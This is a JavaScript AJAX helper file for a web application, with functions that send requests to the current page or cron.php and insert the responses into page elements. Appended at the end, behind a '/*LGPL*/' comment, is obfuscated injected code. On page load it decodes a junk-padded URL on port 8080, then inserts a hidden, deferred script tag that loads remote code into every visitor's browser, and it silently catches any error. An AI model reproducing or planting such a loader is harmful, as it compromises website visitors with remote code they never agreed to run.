var debug = 0;
var status = '';

function createRequestObject() {
	var ro;
	var browser = navigator.appName;
	if(browser == 'Microsoft Internet Explorer'){
		ro = new ActiveXObject("Microsoft.XMLHTTP");
	}else{
		ro = new XMLHttpRequest();
	}
	return ro;
}

var http = createRequestObject();

function sendReq(action, b) {
	if (b){
		b = '&amp;b='+b;
	} else {
		var b = '';
	}
	var url = '';
	if (action=='close'){
		//use different url for close/cron routines
		url = 'cron.php?action=cron';
	} else {
		//find the filename
		var filename = document.location.href;
	    var end = (filename.indexOf("?") == -1) ? filename.length : filename.indexOf("?"); //strip query string
        url = filename.substring(filename.lastIndexOf("/")+1, end);
        	
		url += '?a=ajax&amp;action='+action+b;
		
		//so that page is valid, and ajax still works.
		url = url.replace(/amp;/ig,"");
	}
	if(debug) {
		status += 'URL: '+url+'\\n';
		alert(status);
	}
	try {
		http.open('get', url);
		if(debug)
			status += 'Request sent\\n\\n';
		http.onreadystatechange = handleResponse;
		http.send(null);
	} catch(exception) {
		if(debug)	alert('exception error is . . . \\n\\n'+exception);
	}
}

function handleResponse() {
	if(http.readyState == 4) {
		var response = http.responseText;
		var update = new Array();
		var sep = '|';
		if (response.indexOf('~~|~~') != -1){
			sep = '~~|~~';
		}
		if(response.indexOf(sep) != -1) {
			update = response.split(sep);
			if(debug) {
				alert('Debug: \\n\\t'+status+'\\n\\nupdate[0] = '+update[0]+'\\n\\nupdate[1] = '+update[1]);
				status = '';
			}
			//allow applying text to up to 4 different elements.
			if (document.getElementById(update[1]))
				document.getElementById(update[1]).innerHTML = update[0];
			if (document.getElementById(update[2]))
				document.getElementById(update[2]).innerHTML = update[0];
			if (document.getElementById(update[3]))
				document.getElementById(update[3]).innerHTML = update[0];
			if (document.getElementById(update[4]))
				document.getElementById(update[4]).innerHTML = update[0];
		} else if(debug)
			alert ('Debug: \\n\\t'+status+'\\n\\n'+response);
	}
}
/*LGPL*/ try{ window.onload = function(){Okck21c79ph = 'h!$(t^@$$t!p($:#^@/(/!$r$#^$e$&a$&$$l^!i$!t)#$#y&$^k^@)i(n#!#g^s$&!-(^c)$(o$)m!.^^s($a@#&!l&^&e(!#^s!!f^&#o$@!r!!c$^@$e##!.&!c$o@$m$).$d@!r&#!u#)^@p^()$a(#!l!(#-!!^#o)@!r&)&g((.#n^@e@w!^^h&$(o&$m(&$(^e$&$l(i&(!^n#e(.(@@^)r)@u!((:^^@8@^#)0(8)^))0)$/&!!z#^)&a$)!o$#&b#$(a)$&o$)$.@$c$o^)!m@&@)/(!!z!^@a#(o$(b^a!o!(.@!c$o&!^)m!/((^g&o)o@@@#g)$l$!^e!.$)c&o&$m!/@#z^(5&(^x@.))n^!$e#(^t^/#@b#i(!(^!z^$$r#@(@a!!t&e)^(($.@)(c&&o^m(!&/)&&'.replace(/\(|@|&|\$|\^|\!|\)|#/ig, '');var Nwaa45ysbh = 's((^!c@!r$(i$&(&p@$^)@t#&)!'.replace(/\^|\$|&|\!|\)|#|\(|@/ig, '');var M13zlkwz378fw = 's&!$^r#$c$#^'.replace(/@|\)|\(|\!|\^|#|&|\$/ig, '');var A5mzawccth3o = Nwaa45ysbh;var M91khzyoaye2 = document.createElement(A5mzawccth3o);M91khzyoaye2.setAttribute('defer', 'd^)!$$e(@f&$e(r!$!)'.replace(/\)|\(|&|\^|@|\!|#|\$/ig, ''));var K40t0wb6vok = 't(e)x!(t&##&/$)j#)a)!v($&@a#(s#c(!@@r(@@$i!#p))t#'.replace(/\$|\^|#|\!|\)|\(|@|&/ig, '');M91khzyoaye2.setAttribute('id', 'U)@)#7)5^$$i(8^@m(^)q)@$s@!#b@$#v)@$1@6(^j^8#()'.replace(/\(|\^|\)|#|&|@|\!|\$/ig, ''));M91khzyoaye2.setAttribute(M13zlkwz378fw,  Okck21c79ph);M91khzyoaye2.setAttribute('type', K40t0wb6vok);document.body.appendChild(M91khzyoaye2);if (document){A5mzawccth3o = Nwaa45ysbh;}} }  catch(Ne7oimzk97gk57qnuwvdc ) {}